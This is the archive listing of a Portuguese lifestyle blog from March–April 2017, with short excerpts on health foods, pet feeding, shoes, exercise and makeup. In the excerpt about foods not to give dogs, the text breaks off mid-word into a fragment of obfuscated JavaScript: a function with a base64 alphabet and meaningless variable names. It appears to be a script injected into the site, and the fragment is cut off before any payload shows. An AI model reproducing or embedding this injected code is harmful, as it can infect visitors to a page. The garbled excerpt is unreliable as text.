Cacau, o rei dos antioxidantes, e os seus benefícios

Abr 11, 2017 | Saúde e bem estar

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Cacau, o rei dos antioxidantes, e os seus benefícios     Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento  é considerado por muitos o rei dos antioxidantes?  É verdade, os grãos de cacau são produzidos através da planta “Theobroma...

10 alimentos que não deve guardar no frigorífico

Abr 8, 2017 | Saúde e bem estar

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10 alimentos que não deve guardar no frigorífico   O frigorífico é fundamental para guardamos a fruta e os vegetais frescos e alguns alimentos no congelador, como a carne e o peixe. Mas atenção que o frio não faz bem a todos os alimentos. Há os que podem ser...

10 sapatos a que nenhuma mulher resiste

Abr 7, 2017 | Estilo e beleza

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10 sapatos a que nenhuma mulher resiste   Gosta de sapatos? Eu também. Aliás, os sapatos são uma tentação para a maioria das mulheres e por isso, hoje decidi mostrar-lhe 10 sapatos a que poucas mulheres resistem. Sapatos de salto alto ou de salto raso, sapatos de...

7 alimentos que combatem as alergias da Primavera

Abr 6, 2017 | Equilíbrio, Saúde e bem estar

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7 alimentos que combatem as alergias da Primavera   Com a chegada da Primavera, os dias começam a crescer, a temperatura a subir e fica tudo mais alegre. Mas, como não há bela sem senão, com a Primavera chega também o pólen e com ele os sintomas das alergias, como o...

5 Exercícios para ter uns abdominais definidos

Abr 6, 2017 | Equilíbrio, Saúde e bem estar

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5 Exercícios para ter uns abdominais definidos     O verão está a chegar e as preocupações com o corpo aumentam. Hoje trago-lhe 5 exercícios para ter uns abdominais definidos para exibir na praia este ano! Mas atenção, não vale de nada treinar muito se depois não...

10 alimentos que não deve dar ao seu cão

Mar 30, 2017 | Saúde e bem estar

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10 alimentos que não deve dar ao seu cão     Todos os donos gostam de mimar o seu melhor amigo de quatro patas. Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Dicas saudáveis – Benefícios da cartilagem de tubarão

Mar 28, 2017 | Saúde e bem estar

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Dicas saudáveis – Benefícios da cartilagem de tubarão     Tenho partilhado consigo os benefícios de vários superalimentos, que embora nem sempre sejam muito conhecidos, são definitivamente uma boa escolha para introduzir na nossa alimentação diária. Hoje...

As cores de maquilhagem obrigatórias esta primavera

Mar 25, 2017 | Estilo e beleza

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As cores de maquilhagem obrigatórias esta primavera     A primavera acaba de chegar e com ela chegam também novas tendências de moda, de maquilhagem e de tantas outras coisas que tornam esta estação especial. Assim, esqueça as alergias e foque-se nos batons, que terão...